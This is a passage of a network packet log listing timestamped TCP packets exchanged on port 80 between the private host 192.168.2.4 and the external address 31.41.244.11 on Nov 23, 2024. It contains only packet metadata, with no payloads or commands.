Nov 23, 2024 11:22:14.133896112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.133938074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.133985043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.134027958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.134891033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.134932995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.134995937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.135034084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.135881901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.135925055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.135957956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.135998011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.285430908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.285526037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.285579920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.285854101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.286031008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.286077023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.286133051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.286171913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.286983967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.287132978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.287178040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.288012028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.288115025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.288157940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.289052010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.289086103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.289110899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.289128065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.290014029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.290096998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.290244102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.290385962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.290968895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.291016102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.291063070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.291992903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.292037964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.292081118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.292432070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.292957067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.293072939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.293116093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.293994904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.294109106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.294150114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.294984102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.295027971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.295077085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.295958042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.296000004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.296061039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.296432018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.296977997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.297161102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.297198057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.298068047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.298171997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.298213959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.298985958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.299124002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.299134016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.299182892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.299971104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.300117970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.300156116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.301079035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.301211119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.301251888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.302095890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.302138090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.302186966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.302963972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.303006887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.303071022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.304035902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.304073095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.304076910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.304111004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.305315018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.305330992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.305371046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.306293964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.306335926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.306478024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.306526899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.307496071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.307630062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.307678938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.308553934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.308775902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.308825970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.309526920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.309572935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.309591055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.310415983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.310475111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.310486078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.311296940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.311357975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.311367989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.311405897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.312025070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.312108994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.312165976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.312990904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.313218117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.313268900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.313977003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.314085007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.314133883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.314966917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.315110922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.315155983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.315978050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.316020966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.316061020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.316431999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.316942930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.316982985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.317162037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.317202091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.317970991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.318010092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.318103075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.318141937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.318994045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.319036961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.319060087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.319097996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.320050001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.320090055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.320106983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.320146084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.320997000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.321037054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.321083069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.321950912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.322092056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.322137117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.322969913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.323064089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.323111057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.323977947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.324122906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.324178934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.324974060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.325089931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.325140953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.325975895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.326024055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.326061010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.326936960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.327003002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.327045918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.328016043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.328066111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.328095913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.328135967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.329008102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.329164028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.329210043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.329969883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.330070019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.330121040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.331089973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.331298113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.331350088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.332175016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.332191944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.332241058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.332956076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.333070993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.333122015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.333966970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.334014893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.334239006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.334932089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.334990978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.335064888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.336004972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.336061954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.336105108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.336432934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.336956978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.337116957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.337162971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.486974955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.487063885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.487138033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.487191916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.487302065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.487368107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.487451077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.487502098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.488333941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.488383055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.488416910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.488470078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.489327908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.489372969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.489468098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.489512920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.490292072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.490339994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.490389109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.490433931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.491305113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.491348982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.491411924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.491457939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.492300987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.492345095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.492364883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.492409945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.493308067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.493351936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.493424892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.493469000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.494313955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.494370937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.494383097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.494429111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.495297909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.495340109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.495377064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.495421886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.496288061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.496331930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.496381998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.496426105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.497292995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.497359037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.497467041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.497513056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.498306990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.498351097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.498387098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.498426914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.499277115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.499327898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.499454021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.499496937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.500276089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.500322104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.500396013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.500441074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.501293898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.501338959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.501408100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.501446009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.502298117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.502346039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.502382040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.502429008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.503277063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.503328085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.503365040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.503411055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.504281044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.504323959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.504415035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.504456997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.505287886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.505332947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.505374908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.505417109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.506304979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.506349087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.506477118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.506520987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.507339001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.507409096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.507504940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.507550001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.508306026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.508359909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.508486032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.508528948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.509311914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.509355068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.509469032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.509511948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.510315895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.510396004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.510426998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.510442019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.511302948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.511348963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.511372089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.511415958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.512279034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.512331009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.512372971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.512420893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.513263941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.513391018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.513475895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.513516903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.514271975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.514384985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.514439106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.515376091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.515474081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.515516996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.515561104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.516401052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.516474962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.516547918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.516592979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.517313957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.517369986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.517384052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.517426968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.518304110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.518351078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.518419981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.518620014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.519282103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.519330978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.519367933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.519423008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.520278931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.520324945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.520350933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.520402908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.521281004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.521333933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.521378040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.521428108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.522360086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.522406101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.522449017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.522500038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.523277998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.523324013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.523345947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:14.523386002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:14.524271011 CET	80	49765	31.41.244.11	192.168.2.4
